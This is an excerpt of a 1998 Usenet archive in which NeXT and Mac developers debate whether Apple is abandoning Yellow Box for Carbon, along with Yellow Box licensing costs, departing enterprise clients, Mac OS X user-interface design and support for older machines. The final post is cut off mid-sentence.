> >context of a "Java strategy".
> >
>
> It was certainly more than mentioned at WWDC, and is
> prominently mentioned in the FAQ that is less than a month old..
>
> http://gemma.apple.com/rhapsody/rhapfaq/10.html
Scott, you and I were both at WWDC. I have a lot of respect for you. We
have both been intimatly familiar with Openstep since it was NeXTstep. We
both know how good it is. In all fainess, siting WWDC is a dirty trick.
Carbon was announced at WWDC. From the Key note on YellowBox was depricated.
Few of the many Apple engineers I interviewed had any more information in
advance than any of the WWDC atendants. All evidence is that Carbon was
conceived mere days before the convention. Since WWDC the message has
completely changed. If WWDC were held next week, would YellowBox sessions
exist ?
> >>
> >>So, is there anything in print or on an official web site regarding
> >>Yellow Box that has been possitive or forward thinking - that has
> been
> >>published since the Carbon announcement? I can't find anything, and
> I
> >>think I would be a flaming idiot to program for Yellow until there
> is
> >>something to hear.
> >>
> >You would be a flaming idiot to program for Yellow now. I have
> >been a NeXTstep and then Openstep developer since 1988 with version
> >0.8. My company and my Fortune 100 clients are abandoning YellowBox
> >as fast as possible. It is sad, but Yellow is dead. Apple has
> >privately told my Fortune 100 clients as much. Apple actually
> >recomended Windows NT and Developer Studio.
>
> I find this very hard to believe. It is in direct contrast to
> what I'm being told by the very people that are marketing Rhapsody.
>
Ummmmm, WHAT RHAPSODY MARKETING ? More specifically, WHAT YellowBox marketing
?
Apple's message has been clear and simple since WWDC. CARBON is the only API
that devlopers should consider at least until some unspecified time in the
distant future after MacOS-X. I have heard nothing else and the press has
reported nothing else. Sure, you and I hear from the hand full of engineers
working on YellowBox, but they are clearly not involved with policy issues. I
have never heard a more consistent message from Apple or NeXT. Yellow is not
on the radar screen now. Whe can debate whether it ever will be again.
Erik M. Buck
President EMB & Assoc. Inc.
Posting from the road.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: embuck@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 21:59:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ogkc7$sm$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net> <6ogevp$ndb$1@nnrp1.dejanews.com>
In article <6ogevp$ndb$1@nnrp1.dejanews.com>,
agave@my-dejanews.com wrote:
> In article <6og17t$73c2@odie.mcleod.net>,
> "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> >
> > People in this group keep saying that Apples message is muddled.
> > It is NOT. It is crystal clear. Apple executives have
> > said multiple times in public and for the press that Carbon is
> > THE APPLE API and that CARBON is Apple's crown jewel and that
> > future development should use Carbon.
> >
>
[Deleted]
> If YellowBox can not compete with other solutions (eg Carbon, Win32s,
> etc) then it _should_ die. I think your experience should tell you that
> YellowBox is a good solution to many problems your customers, and others like
> them, face. I'm curious what you're now advocating to your customers instead
> of YellowBox. YellowBox is not dead. It is no longer the "One True API"
> either. People now have a choice. I believe that YellowBox will hold its
> own against anything derived from the MacOS Toolbox but it won't matter how
> good YellowBox is if Apple can't keep their current developers because it
> will sink with the rest of the ship.
>
> -Ian
Win32 and Carbon have large corps. promissing improvements and support into
the futre. YellowBox has no such commitment and in fact is being depricated
in favor or Carbon. The FAC may say the YellowBox is not in maintence mode,
but companies can not base 7 and 8 figure purchase/deployment on a FAC with
dubious authority. Apple executives have stated unabiguosly that CARBON is
Apple's crown jewel and that developers might want to consider YellowBox
along with other cross platform solutions sumtime in the future after MacOS-X
ships.
IT DOES NOT GET ANY LESS AMBIGUOUS!
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 22:24:22 GMT
Organization: MiscKit Development
Message-ID: <6oglqm$fqh$1@news.xmission.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net> <35AACACB.4A68807A@alum.mit.edu> <6oest8$33f$1@news.xmission.com> <6ogbvf$oq7$4@msunews.cl.msu.edu>
NNTP-Posting-Date: 14 Jul 1998 22:24:22 GMT
spammers@ruin.the.internet.channelu.com wrote:
> All I can say from my limited 5-6 years in the community that I am
> very familiar with Michelle (not personally mind you) and Don.
> I recognize them from 'way' back - I don't recognize you Eric
Eric's been a very strong advocate over the years--he goes back a ways,
too--but I'm not aware of any great apps he's done, either.
> [...] I would like to know
> why people are dumping (Don & Michelle) and why people
> are staying (Eric)..
See below... (you and I have already spoken about this at great length
privately, but I think it may help the discussion to post some of it here,
too)
> Ultimately I think the only way Apple would listen is if you could
> talk to those clients and actually release some names and some
> basic information (like are they phasing out YB - in favor of what -
I'm hearing Delphi and MS Dev Studio. Ugh and super ick.
> why?
They don't trust Apple, NeXT's sales people treated them like crap and
they've had enough since the move to Apple hasn't improved the situation in
certain cases, announcing the death of the Intel OS confirmed their (the
enterprises') worst fears (in their minds it did, anyway). Need I go on?
They don't trust Apple/NeXT, recent moves make the thread of trust that did
exist evaporate, and they just want off the rollercoaster. Somehow they
think that NT and MS tools will be an improvement. Well, I wish them luck,
but I don't agree that there will be an improvement.
However, since they have thousands of Intel seats, and Apple has discontinued
the Intel OS, Apple has effectively written themselves out of these places
anyway! There is no way they'll buy new hardware for everyone. Since Apple
is very flaky in their eyes and there is no second source for Apple hardware,
of course they feeel like buying G3s would be insane. (And many of them
won't bother with YB for NT because they figure if they're going to
transition to MS, they might as well just do the whole thing. Eek!)
> How many seats? etc.)
Most of that is info that's been given in confidence and can't be spread
around. I would definitely say that we're talking at _least_ in the
thousands here. Certainly not the millions that other technologies
represent, but these are important seats, too, because of their potential
circle of influence. Unfortunate, to say the least. I can say that the
First National in Chicago project is, from what I hear, going through some
big changes, though.
As far as I can tell, the only current successes are in the WOF shops, and
thank goodness that there does seem to be some growth there. But growth
isn't good enough if the attrition is too high, and that's what I'm
seeing--too much turnover, and too rapidly. The ones that were doing MCCA
are the ones that are waning the fastest. This seems to be a direct offshoot
of the way NeXT's focus on MCCA shifted to WOF and the MCCA chorus died down
considerably--it takes a few years to get the full impact of the shift.
But I think that the MCCAs would have stuck around if Apple hadn't announced
the end of Intel support. (Well, that was the straw that broke the camel's
back for some of them; there were other ongoing problems with the business
relationships...)
> [...] Many times I have consulted myself out
> of a job because I had to honestly recommend a solution that would
> make it so that company would not need my services..
Yes. Honesty does that. But it also means that they'll trust you and either
(a) use you in the future if their path crosses yours down the line or (b)
recommend you to their friends. Either way, honesty is a good policy.
> [...] the companies whose solutions I tried to support/promote
> simply cut their own throats in the markets I worked within.. I saw
> SGI's plight coming at least 2 years back - I tried to open discussions
> with them - to let them know what I was facing in the trenches -
> SGI didn't care a whit. Saw the same thing with NeXT - and now
> Apple. NeXT didn't seem to care a whit - neither does Apple
> seemingly.
Every NeXT fan who's been in the trenches will give you the same story. They
say they're listening, and they say they're getting better, but us little
guys aren't fully convinced yet. Yes, there have been some signs, but
there's a long way to go yet. There has been a lot of arrogance from the
companies and salespeople.
For example, how successful can a salesperson be if they take the attitude of
"our product is so great you should be knocking down my door to get it.
Because you aren't, and don't get it, f*ck you. I'll go to someone who gets
it." To make a sale, especially of something as complex and mission critical
as the Yellow Box, you *have* to go in as an educator. If you wait for
someone to get it you'll never find a sale. And if you're arrogant, you'll
never be able to be a good teacher.
For such big purchases, you also need a stable sales force. The enterprises
really got tired of having a new contact every month (yes, it often happened
that fast). How can you build vendor relationships if the vendor contact is
a different person each time you try to converse? It doesn't work. If NeXT
of Apple wants to be a serious enterprise player, they have to cultivate
these things better.
Now, I've heard some real horror stories, but I've also heard of the
occasional exceptional salesperson, so it isn't like the whole sales force
sucks/sucked. But the horror stories are the ones that get passed around the
most, probably because of the shock value, and they're the ones that tend to
imbue a certain reputation. Unfortunately, Apple's is very tarnished right
now among many past customers.
I'd love to see all of this change, and I know Apple can do it...if they want
to. But who knows what the hell they really want, and who knows what they'll
do? That uncertainty alone is hurting them in the enterprise.
> > [...] hoping against all hope that Apple will get its
> > message straight. It's not too late yet...
>
> As we all do. We are quicly nearing the point of no return. In fact
> I am
> convinced from discussions I've had with many of you all that Apple
> has in fact already done substantial damage to their reputation ..
> Though I personally think in reality Steve Jobs is personally and
> solely responsible for this.. I follow the command and responsibility
> chain. A general is completely responsible for the actions of his
> troops. Steve Jobs is no exception. Though I don't know what
> forces he is dealing with - and can't really presume to know what
> and why he does things..
True. Perhaps if we knew more of the facts that he knows his decisions would
make more sense. But Apple isn't communicating with its customers or us
little guys to the point where we can really feel confident. And the
enterprise is slipping away the longer they wait to set things right. Me
they don't need to worry about (nor should they) but these big clients are
NOT the ones they want to lose. They talk and could hurt future
opportunities for Apple if the parting is too bitter. (Given how many of the
engineers feel about leaving behind the OS and the YB, there _will_ be some
bitterness if for no other reason than the huge hit to staff morale!)
> [...] Perhaps some
> of us have to figure out how to name some sources. I think
> this is critical - to telling a coherent story. Otherwise we are
> all blowing our horns. Any way you guys can get permission
> here..
I wish I could say more, but I really can't. Burns me up, and I guess I
should just shut up and duck out of the conversation--I mean, as you say,
what is the point of spouting stuff I can't back up because of
confidentiality concerns? Without the backup noone believes it anyway, so I
see no benefit to dragging it out further. I've vented my bit by now and if
something positive comes of it, great. If not, toss all my crap down the
drain and leave it be. No skin off my nose.
> I think Apple might listen up if they knew what enterprise
> clients were dumping YB..
I think Apple pretty much knows who they are, but since it isn't their focus,
they don't care. In the cases I know of, the enterprises in question have
been very vocal to Apple. Now that they've chosen to leave, they're being as
noisy as possible on the way out.
As I've said before, Apple needs to *reach* *out* and draw them back in.
That's also why I say it isn't too late--the fact that these companies are
making noise suggests that they really want Apple to say "sorry guys, please
come back" and are trying to provide ample opportunity for it. If Apple
doesn't do it, the bitterness will multiply. Just as Apple has reached out
to Mac developers with the Carbon olive branch, they need to do something for
these enterprises.
> Too bad - I'm sure some more interesting names would pop out.
> What about listing the WO sites that dumped WO.. Wasn't Dell
> on that list, GM? I'm just trying to speak from memory here.
Dell definitely did, and that story is a particularly interesting example of
an 800 pound gorilla getting embarassed and going out of its way to flex its
muscles. Nothing Apple could have done would have prevented it.
And yes, they lost Chrysler a while ago...but that was NeXT's fault and not
Apple's. That one is old news. (And most of the engineers that worked on
the MCCA left, too, because they couldn't bear the MS solution. This is
where the bitterness comes it--management makes the decision and then there's
a resultant mass exodus of staff. They blame the vendor for it, be it Apple
or NeXT, even though it is their own pointy-hairedness that caused the
problem.)
> Actually everything I'm reading - I don't have internal connections
> like you guys indicates to me that Apple is merely hedging all bets.
That's a pretty fair reading, really. To some degree even Apple is playing
it day by day, and that's part of the problem. They can't communicate future
plans if the plan is to play it day by day, but since we all expect there to
be a master plan, imagine what would happen with Apple's customers and Wall
Street if they said "we're playing things by ear". Since no one believes
that they are lithe enough to make the right reactions quickly enough, it
would really doom them. But from what I've seen, the most rational
explanation is "play it by ear, hedge all bets, make sure we are ready for
anything and can't lose no matter what happens." That's my positive
spin...but it also makes all predictions I could make very iffy.
> Frankly I still advocate the following:
>
> Apple should let everything go to GNUstep or even MiscKit
> (I'll help Don if Apple does this, and I'm sure that enough
> interest is still out there to start a seperate venture
> like redhat) from YB on down.. Apple can still
> retain the development tools, WO, EOF and whatever Apps they
> have to sit on top of YB.
> They can even still sell the OS - as official Apple version
> for $100 to $200. I could see much
> of the world turn Yellow nearly overnight.[...].
It might work--or might not. But Apple isn't ready to do that yet. They
still value the YB too much to do that. I'd fully support such a move, of
course, but I just don't see it in the cards. Now, if things pan out badly
over the next couple of years, who knows where we'll be?
Regardless, I'm keeping a very watchful eye on GNUSTEP. That's my plan B...
> And this whole thing about Apple saying it'll cost too much to
> develop and support Intel - frankly NeXT did it with a much smaller
> budget - (a limited subset of hardware - but not too bad IMHO)
> and less people. Apple must be doing something seriously wrong
> that it would cost very much to support it, or mismanaging so badly
> that I can't imagine it. Frankly I am convinced these lame arguments
> simply are a stall/cover up for other reasons that are the REAL reasons
> Apple is decidedly dropping PC support. It is those reasons we can
> only guess. And because of this many people rightly fear that YB
> may find itself in the same situation - especially if no Carbon folks
> make the YB switch.
Yup. The underlying reasons are damn hard to ferret out. Don't think that
several of us haven't tried. All we get are the same tired, lame excuses.
And those excuses apply to the YB/Win even more than for the OS, so of course
it makes us nervous! Apple needs to give this more careful consideration, to
say the least!
> Apple says "Think Different"
> I say to Apple "Act Different"
>
> release YB and everything below it
> that you can to GNUstep or MiscKit.
Well, it would be cool, but right now that's too risky for Apple, frankly.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 17:22:50 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6oglqb$kto2@odie.mcleod.net>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net> <35ABBEBB.8E6E7CFD@alum.mit.edu>
Eric Hermanson wrote in message <35ABBEBB.8E6E7CFD@alum.mit.edu>...
>
>
>Michelle L. Buck wrote:
>
>> I agree with all of Bill Bumgarner's glowing description of YellowBox
>> technology. In many ways he even understated it. Never the less,
YellowBox
>> is dead.....Now, who do you believe, Steve Jobs and all of his direct
>> reports or a few engineers who are not privy to policy discussions ?
>
>Well, considering Apple has totally, 100%, changed direction twice now from
what
>they publically and glowingly announced over the past two years, I tend to
>believe the few engineers who are not privy to policy discussions.
>
>> The number of active YellowBox developers is currently smaller than it
has
>> been in 7 years.
>
>I demand that you cite your foundation for this, giving precise sources.
>
Citations are provided elsewhere in the thread.
>> Apple either refuses to sell YellowBox/Openstep to some
>> fortune 100 companies or can not/will not provide information sufficient
for
>> the generation of a purchase order.
>
>Apple is not selling Yellow Box because it isn't shipping yet! Apple is
not
>selling OpenStep because it is an obsolete product! Apple *will* sell both
>YellowBox and Rhapsody (and WebObjects 4) come this September.
>
Great! So we have an application that works well on Intel today and we can
not sell it to our customers who need it right away because Apple will not
sell the necessary component that had previously been available for years.
>> Apple has even directly told some
>> developers not to use YellowBox even if they want to do it now.
>
>If this has happened, it is obviously an isolated case and was done for a
very
>good reason. I have never heard this before, and quite frankly, I am sick
of
>all the F.U.D. you are spreading. You're worse than the hired Microsoft
guns
>we've been hearing about in the papers. You're not on their secret "take
over
>the world" payroll, are you? :)
>
What makes you think you know more or are better informed than me. It is
only "fear uncertainty and doubt" if it is uncertain. Otherwise it is fear
and doubt which are clearly warrented. In fact thay are sufficient for any
prudent developer to stay away from YellowBox.
This has happened because Apple reniged on its promis to inexpensively
liscence YellowBox for deployment on Windows. The current price veryfied
with Apple Friday is $1400 PER SEAT for deployment. This is an increase
from $500 per developer seat with 5 deployment liscences included. The
price has gone from $100 per seat to $1400 per seat. (14x increase does not
sound like an incentive to buy).
>> YellowBox is dead. Don't waste your time with it.
>
>Please stop wasing my time! I get your point. You've belabored it for 2
weeks
>now.
>
Then why do we have this thread ? Is it only for people who agree with you
? I am very worried that a great technology and the corner stone of our
business is being depricated by Apple. I pray every time I read this thread
that someone has information I don't have and can make the situation seem
less bleak.
>> Apple does keep a few engineers working on YellowBox. They are just
hedging
>> their bets. There are exactly 2 engineers working part time on Interface
>> Builder and Project Builder. Those two tools constitute the entire IDE.
>> Does that sound like strong support ?
>
>Even if you are correct, which I highly doubt - your track record doesn't
>support you being correct - the reason there is such a small # of
developers
>working on YB at the present moment is that there are 4 other big fish to
fry
>over the next 3 months: Rhapsody 1.0, WebObjects 4.0, EOF 3.0, Mach 3.0,
SMP.
>YB is mature, and stable - has been for 6 years in the form of OpenStep.
All
>developers received Yellow Box for Windows with their Rhapsody DR2
shipments.
>Apple is supporting Yellow Box well. Developers writing Yellow Box code
right
>now are going to hit the big time when they ship their cross-platform code
on
>Mac OS and Windows in September.
>
>Eric
>
I am the Vice President of a company that has been shipping NeXTstep and the
Openstep applications since 1991 and we did consulting before that. I
suspect that we are the MOST SUCCESSFUL Openstep application company to date
on a profit basis. Who are YOU ? Our customers are almost exclusively in
the Fortune 100. Exactly what big time are you talking about ? The
earliest a YellowBox application can ship for MacOS is the release of
MacOS-X 18 months from now. We are prevented from selling a YellowBox
Windows applications by licensing and there is no evidence that that will
change before MacOS-X ships either. Our customers want to buy applications
NOW and Apple will not let them.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 14 Jul 1998 21:53:32 GMT
Organization: I don't think so
Message-ID: <slrn6qnl3f.18f.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <slrn6qnbbg.l5.jason@jhste1.dyn.ml.org> <not-1407981411440001@1-58.phx.psn.net>
Michael M. Eilers posted the following to comp.sys.mac.advocacy:
>> Give me a break. Why should you upgrade to a faster machine than you
>> really need just because some corporation tells you that you have to?
>> This is Microsoft-think.
>Where in my post did I say I was doing any of the kind? I buy cutting-edge
>hardware because *I* need to have it, not because Apple needs the money.
And then you made mention of people with 603e machines whining or something.
I _don't_ need to have cutting-edge hardware, and I'm not going to upgrade
a 603e to something that is more than _I_ need just because of an OS
upgrade.
Which is why I run Linux on my 603e.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 18:55:36 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1407981855360001@192.168.21.171>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <6ogvoh$opt$4@lwnws01.ne.highway1.com>
In article <6ogvoh$opt$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> > That's because the Mac UI works well and people know it.
>
> And to those stuck in the crippling habit of windows 3.1, to them it works
> well and they know it.
Unlike the folks at Microsoft, the designers of the Mac UI have
user-testing that show that major changes are n ot necessary.
> > not changed. We don't have significant changes in that UI every
> > few years.
>
> Heads up displays in planes changed the UI a great deal. Iris eye tracking
> systems aim weapons. Laser to retina projections make HUDs implementations
> pale. You're still stuck on the ground. There are people that fly.
Pejorative implications aside, you make some interesting points. How much
does an altimeter or turn-and-bank indicator differ when it's a dial on
the panel from when it's projected in space in front of the pilot? How
much does a HUD cost and where can I get one for a Cessna 182? It would
make an excellent Christmas stocking stuffer, don't you think?
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 21:24:05 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1407982124050001@news-proxy.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu> <MPG.10151f8fca0af55e989996@news.supernews.com> <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu> <MPG.1015a5863171cc9b98999a@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <MPG.1015a5863171cc9b98999a@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu>,
> tokarek@uiuc.edu says...
> > I'm not asking for official approval. I'm asking for serious
> > consideration. Apple apparently refuses to do either. A commitment by
> > Apple to support these machines would be nice if it is reasonable to do
> > so. I don't want Apple to commit to this unless it thinks it can actually
> > pull it off. I've seen no particular evidence that anybody at Apple has
> > even really thought about it. Maybe they have, but they've not told
> > us anything about it.
> >
> This is the number two statement I'm going to strongly object to. (The
> number one statement being "There wouldn't be any extra cost to
> supporting the older machines, it's just an arbitrary way to screw the
> customers.")
I _never_ said that there wouldn't be any extra cost. I said that given
several factors (including the potential for making a short-term profit off
of OS sales) that the cost should not be an issue. That is different from
saying that there will be no costs.
There are several pressing reasons why the cost isn't (much of) an issue
that might have a great negative impact on Apple and the platform if Apple
decides to continue and follow through with its current plan.
> Unfortunately I can only give you my word on this, but these issues have
> come under serious consideration by Apple. They were aware of the
> problems they would have if they didn't support the older machines
> (though somewhat underestimated the vehemance of the response). They're
> well aware of the money available by selling to the older machines. This
> decision was the result of protracted discussions and debate within Apple
> (and it still goes on to some degree).
Hmm...
I will take your word for it.
> As a private corporation, their meetings are not held in public. You are
> not invited to the meetings we're having a Prairie Group about what
> features to include in 1.1 nor will we be releasing transcripts of those
> meetings. A corporation must make a decision and go with it.
Mmmhmm. I never said that Apple absolutely had to divulge precisely why it
came to this decision. It has no legal or particularly moral obligation to
explain. That doesn't mean I don't want an explanation. :)
Here's the thing though. If supporting these older machines would postpone
Mac OS X more than a month or two (assuming Apple is able to meet its
current scheduly without doing that), then I think Apple should _not_
support these machines (at least initially). I do not want the release date
of Mac OS X to be compromised significantly because of support for older
machines!
Support for these machines can even come a short while after the release
(so long as the release is more or less on time). That's okay so long as
Apple makes that clear. 6 months would be far too long. A couple months
would be accepted.
If writing support for these machines would not significantly delay Mac OS
X, then I see no particular reason why Apple would not do it unless it is
for the more sinister (from my perspective) profit motive I've mentioned
before.
It is this last possibility that makes me the most concerned. I see a time
delay issue as an acceptable reason not to support these machines. I will
still grumble about it and be disappointed! But I won't be quite as angry
as in the other case.
I will still consider supporting Apple if supporting these machines would
actually result in an unacceptable delay of Mac OS X. I might not be happy
and I would hope that it never happens again, but I will have few problems
continuing my support of Apple. It is in the other case where Apple decides
to drop support for these machines in order to force people to upgrade that
will invoke my extreme disgust and forsaking of the platform.
> You think it was the wrong decision. I urge you to keep pushing Apple so
> they know the level of tradeoffs they are making. I have my doubts about
> the position expressed by Avie.
I will keep pushing Apple.
> The only two things I'm sure of are (1) There are tradeoffs involved
> here, including the PCI machines have definite costs and risks to the
> schedule, and (2) This decision was made after a great deal of discussion
> and debate and consideration.
Well, that doesn't state the consensus reason for the decision, but I can
hope that reason wasn't "just an arbitrary way to screw the customers."
(Not that I think it would be arbitrary... just stupid.)
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 00:35:39 GMT
Organization: I don't think so
Message-ID: <slrn6qnuje.1ng.jason@jhste1.dyn.ml.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com> <joe.ragosta-1407982020370001@elk70.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>As for Unisys, I don't want to have anything to do with them. I bought
>their stock a year ago at 7 and sold it a few months ago at 19. My brother
>convinced me to take the profits and run. It's around 27 today. Darn.
Hey - you made more than you didn't make, right? ;)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 15 Jul 1998 03:52:51 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oh92j$2mv$2@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <6ogvoh$opt$4@lwnws01.ne.highway1.com> <mNOSPAMroeder-1407981855360001@192.168.21.171>
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> In article <6ogvoh$opt$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> > > That's because the Mac UI works well and people know it.
> >
> > And to those stuck in the crippling habit of windows 3.1, to
> > them it works well and they know it.
>
> Unlike the folks at Microsoft, the designers of the Mac UI have
> user-testing that show that major changes are n ot necessary.
Oh yea, like the wonderful testing allowing you to perwinkle and change
scroller colors--wee purple. VERY impressive testing. At Jonestown they sat
around and drank koolaid too, while they did gods work. This kind of crap is
far from new. In the end both camps think their UI is just fine as is, thank
you very much. Both have had a bit too much koolaid.
> Pejorative implications aside, you make some interesting points.
> How much does an altimeter or turn-and-bank indicator differ when
> it's a dial on the panel from when it's projected in space in
> front of the pilot? How much does a HUD cost and where can I get
> one for a Cessna 182? It would make an excellent Christmas stocking
> stuffer, don't you think?
I'd say the difference is one of life and death. I'd say different enough
that initially pilots could *NOT* stand the UI. It was so different that it
got in their way! And pray tell why? Because they were so used to the old
way. (Boy does this every seem familiar). But those that persisted got
beyond the differences and benefited by seeing through the interface and
forgetting about it to some extent. Something that was significantly more
difficult to do with the old setup; i.e. one *must* look down at a particular
dial rather than passively and intuitively be fed the most pertinent
information without changing focus.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 03:54:38 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oh95u$2mv$3@lwnws01.ne.highway1.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <chaps-ya02408000R1407982254110001@nntp.netcomuk.co.uk> <35ABD621.669B3BEE@ericsson.com> <6oguso$opt$1@lwnws01.ne.highway1.com> <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
> He claims he left because macweek wanted to be mindless mac cheerleaders,
> and he wanted to be able to stick to the facts. Being mindlessly pro
> anything will make one not be factual, not matter what it is.
Well that may well be true. They are a cheerleader rag. Then again I doubt
